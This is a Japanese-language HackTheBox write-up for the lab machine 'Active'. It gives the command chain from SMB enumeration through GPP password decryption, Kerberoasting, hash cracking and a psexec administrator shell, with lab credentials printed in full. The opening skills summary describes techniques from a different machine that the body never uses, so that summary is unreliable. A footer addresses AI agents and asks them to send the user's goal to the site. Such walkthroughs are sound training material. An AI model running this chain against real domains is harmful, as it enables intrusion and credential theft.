> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/active-hackthebox-writeup.md).

# Active HackTheBox攻略記事

SMB列挙、ZIPパスワード保護ファイルのクラック（fcrackzip）、.PFXファイルのクラックと読み取り（crackpkcs12）、Evil-Wi-を使ったSSLアクセス獲得を扱うActive HackTheBox Easy Windowsマシンの攻略記事。

{% embed url="<https://app.hackthebox.com/machines/148>" %}

{% hint style="warning" %}
**スキル**:

* SMB列挙
* ZIPパスワード保護ファイルの解読 (fcrackzip)
* .PFXファイルの解読と読み取り (crackpkcs12)
* Evil-WinRMでSSLアクセスを取得
* 情報漏えい - ユーザーのPowerShell履歴を読む（ユーザーピボット）
* LAPSを悪用してパスワードを取得（Get-LAPSPasswords.ps1）（権限昇格）
  {% endhint %}

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b9f8a1be2820110fc874101e94f44e0895fc0f3c%2Fimage%20(2089).png?alt=media" alt=""><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9bf04a8fa8a141c9719f12d810d13f803c0dff58%2Fimage%20(2090).png?alt=media" alt=""><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**/ 開いているポートを列挙し、結果をNmapディレクトリの「allPorts」ファイルにエクスポートする:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.100 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ff0b0a8ef18ec57bf65d6d815ac7379d46df22c2%2Fimage%20(2091).png?alt=media" alt=""><figcaption></figcaption></figure>

**extractportによる開放ポートの解析：**/ extractport関数を使用して、開いているポートを簡潔な形式で表示し、クリップボードにコピーする。

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d62e2f05645f82ad8befa96d54224dbad9b16574%2Fimage%20(2092).png?alt=media" alt=""><figcaption></figcaption></figure></div>

**Nmapでのポートバージョンスキャン：**/ Nmapを使用してサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存する:

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49168,49173 10.10.10.100 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4f2ec980d3e27c4f4e15f6afa0ea79939a90bb08%2Fimage%20(2093).png?alt=media" alt=""><figcaption></figcaption></figure>

## **列挙と悪用：**

### **SMB列挙：**

crackmapexecを使用してシステムを一覧表示し、ドメイン名を見つける。

```bash
crackmapexec smb 10.10.10.100
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7f276890946faae5bc956b762c9a43ded15e999f%2Fimage%20(1643).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **NTPによる時刻調整：**

問題を避けるために対象マシンの時刻を調整する

```bash
ntpdate 10.10.10.100
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d8b3fe42ce1832f42ec95c9397960ef5a9f1c7ff%2Fimage%20(2099).png?alt=media" alt=""><figcaption></figcaption></figure>

#### /etc/hostsの設定：

pingを可能にするため、hostsファイルにドメインコントローラーを追加：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6944714e4e8974a3bd1359fb07183fc670492456%2Fimage%20(1644).png?alt=media" alt=""><figcaption></figcaption></figure>

### **共有リソースの一覧表示**

smbclientまたはsmbmapを使用してネットワーク上の共有リソースを調査する。

```bash
smbclient -L 10.10.10.100 -N
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1aff5994b80f2dce21d38e5506ba99b036c744ee%2Fimage%20(1645).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
smbmap -H 10.10.10.100
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-70534651d98afbea96c7cedf74e2ad3fb9fcd3de%2Fimage%20(1646).png?alt=media" alt=""><figcaption></figcaption></figure>

### **特定のファイルを検索**:

関連するファイルを探してディレクトリを調査する

```bash
smbmap -H 10.10.10.100 -r Replication
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc495e0b897c906a053ecf559dd550fcbda5091b%2Fimage%20(1647).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
smbmap -H 10.10.10.100 -r Replication/active.htb
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6a78244448fcc316b202844afba2cd50370fd45%2Fimage%20(1648).png?alt=media" alt=""><figcaption></figcaption></figure>

その `groups.xml` 機密情報を含む可能性のあるファイルが特定される。

```bash
smbmap -H 10.10.10.100 --download Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml
```

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-26bf1be4ffcb3f2a80e549c8e5819c9f42357ad7%2Fimage%20(1649).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77543c7451c0357151402d73029d75cc36af21b1%2Fimage%20(1650).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### **パスワードの復号：**

使用する `gpp-decrypt` 保存されたパスワードを復号するため。

```bash
gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-370f4614996d1ba0042ab30efb1d94d550a5b0d1%2Fimage%20(1651).png?alt=media" alt=""><figcaption></figcaption></figure>

### **IDの検証：**

IDが有効かどうかを確認するためにcrackmapexecを使用する

```bash
crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1afdd3f0e1aab2272babe773938540d613b3afcd%2Fimage%20(1652).png?alt=media" alt=""><figcaption></figcaption></figure>

### **権限の調査：**

ネットワーク共有上の権限を調査するためにcrackmapexecとsmbmapを使用する。

```bash
crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0302ddc9339c95bf7ed87a25680f753b9d206820%2Fimage%20(1654).png?alt=media" alt=""><figcaption></figcaption></figure>

### user.txt のフラグを取得:

```bash
smbmap -H 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -r Users
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6e10f350450347df74cfa44ca20dcfad704bd382%2Fimage%20(1656).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d9f0a8bdfbedd96f069e9a7a306b2a77aef999f2%2Fimage%20(1657).png?alt=media" alt=""><figcaption></figcaption></figure>

### **ドメインコントローラーにログイン：**

rpcclientを使用してドメインコントローラーに接続し、ユーザーとグループを調査する：

```bash
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a8d50175795880762fabaa6e19b27077c6d8b76f%2Fimage%20(2095).png?alt=media" alt=""><figcaption></figcaption></figure>

#### - 管理者グループのメンバーを特定するには：

```bash
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querygroupmem 0x200'
```

#### - 特定のグループのユーザーを取得するには：

```bash
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'queryuser 0x1f4'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aea61c2fe124a97485708b74246a6d0827e9a329%2Fimage%20(2096).png?alt=media" alt=""><figcaption></figcaption></figure>

#### - すべてのユーザーの説明を一覧表示するには：

```bash
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querydispinfo'
```

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-31c767e9a21e6717b930a8cdafb9ab30bdc01ae4%2Fimage%20(2097).png?alt=media" alt=""><figcaption></figcaption></figure></div>

## 脆弱性 [Kerberoast](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast):

Kerberoastの脆弱性は次のコマンドで正常に悪用される：

```bash
GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18
```

このコマンドは、脆弱性を悪用するGrant-Ticketing Service (TGS)のサービスチケットを取得する。

その後、管理者のハッシュを取得するために、-requestパラメータをコマンドに追加する：

```bash
GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7f9d42eb87c8407588ec3688041f3990b346789c%2Fimage%20(2101).png?alt=media" alt=""><figcaption></figcaption></figure>

## **最終的な悪用：**

### **ハッシュのクラック:**

取得したハッシュの解読をJohnで試す。

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7bfb54403111756914bcecff9fcd0ebb290e403c%2Fimage%20(2102).png?alt=media" alt=""><figcaption></figcaption></figure>

### **IDの検証：**

取得した認証情報を検証するためにcrackmapexecを使用する

```bash
crackmapexec smb 10.10.10.100 -u 'Administrator' -p 'Ticketmaster1968'
```

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2e47ab9e0f7968b52620b69faa837956e9ad6991%2Fimage%20(2103).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### **Psexecの実行：**

psexec.pyを使用して、管理者として対話型シェルを取得する。

```bash
psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd.exe
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aeae93e7e24db869972860f7f7112879e047dfca%2Fimage%20(2104).png?alt=media" alt=""><figcaption></figcaption></figure>

### **最終フラグを取得：**

管理者権限を取得した後、最終フラグを正常に取得する。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-018797dae57a0888b4fa10ca2a0f56dccdaa93c2%2Fimage%20(2105).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bab00a5f918b48a697b92843207c2eb0785ae133%2Fimage%20(1410).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/active-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
